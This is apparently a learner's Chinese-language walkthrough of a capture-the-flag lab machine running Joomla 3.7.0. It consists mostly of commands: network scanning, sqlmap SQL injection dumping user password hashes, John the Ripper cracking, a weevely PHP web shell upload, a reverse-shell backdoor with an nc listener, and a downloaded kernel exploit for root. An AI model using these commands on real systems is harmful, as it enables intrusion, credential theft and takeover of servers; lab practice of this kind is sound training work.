ifconfig
nmap 192.168.61.0/24
nmap -A -p- 192.168.61.131
使用网站指纹工具whatweb识别靶机网址使用的web服务、系统版本、CMS系统等
whatweb http://192.168.61.131
发现靶机使用Joomla内容管理系统
使用joomscan扫描工具扫描Joomla相关配置内容、已知漏洞等等
扫描后得知Joomla版本3.7.0,管理员登录页面,及一些可以访问的网站目录
joomscan --u 192.168.61.131
打开admin登陆地址
使用searchsploit工具查找Joomla 3.7.0 版本存在的漏洞
发现一个sql注入漏洞 ,后面还附带了资料
看人家的过程是要保存再查看的,但是不知道怎么保存,先略过了
sqlmap -u "http://192.168.61.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
查到数据库
查当前数据库(joomladb)
sqlmap -u "http://192.168.61.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db -p list[fullordering]
sqlmap -u "http://192.168.61.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
#_users表可以先试试
sqlmap -u "http://192.168.61.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
再查password和username
sqlmap -u "http://192.168.61.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
创建password.txt文件保存密码,进行解密
john passwd.txt
密码:snoopy
接下来是提权
一句话木马
然后用weevely生成可以获取shell的php脚本,上传到靶机
weevely generate 123456 shell.php
上传shell.php后获得shell
weevely http://192.168.61.131/templates/beez3/shell.php 123456
获得root权限(cd /root没用)
看内核
uname -a
看版本信息
cat /etc/issue
使用searchsploit工具查找Ubuntu 16.04的提权漏洞,发现一个“拒绝服务漏洞”(double-fdput()),可以用来提权
cp -rf /usr/share/exploitdb/exploits/linux/local/39772.txt dc-3
保存文件
文件中的关键字
通过链接下载39772.zip文件
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
然后通过蚁剑的1.php文件上传进靶机
并用
unzip 39772.zip 解压
然后又有tar文件要解压
tar -xvf expolit.tar
进入解压后的文件
cd ebpf_mapfd_doubleput_exploit
就可以看到提示中的这两个文件了
./compile.sh
./doubleput
依次编译代码,执行提权文件(?不大懂)
但还是没用,然后就监听端口(?)
nc -lvnp 8888(先)
:backdoor_reversetcp 192.168.61.129 8888(后,并且要在weevely命令下)
进入路径后,就可以重新进行提权的事了
cd /var/www/html/templates/beez3/39772/ebpf_mapfd_doubleput_exploit
python -c 'import pty;pty.spawn( "/bin/bash");' (不大懂,小地图?)
./compile.sh
./doubleput
就可以获得root权限了
进入root
cd /root
ls 就可以看到the-flag.txt
cat the-flag.txt
完成了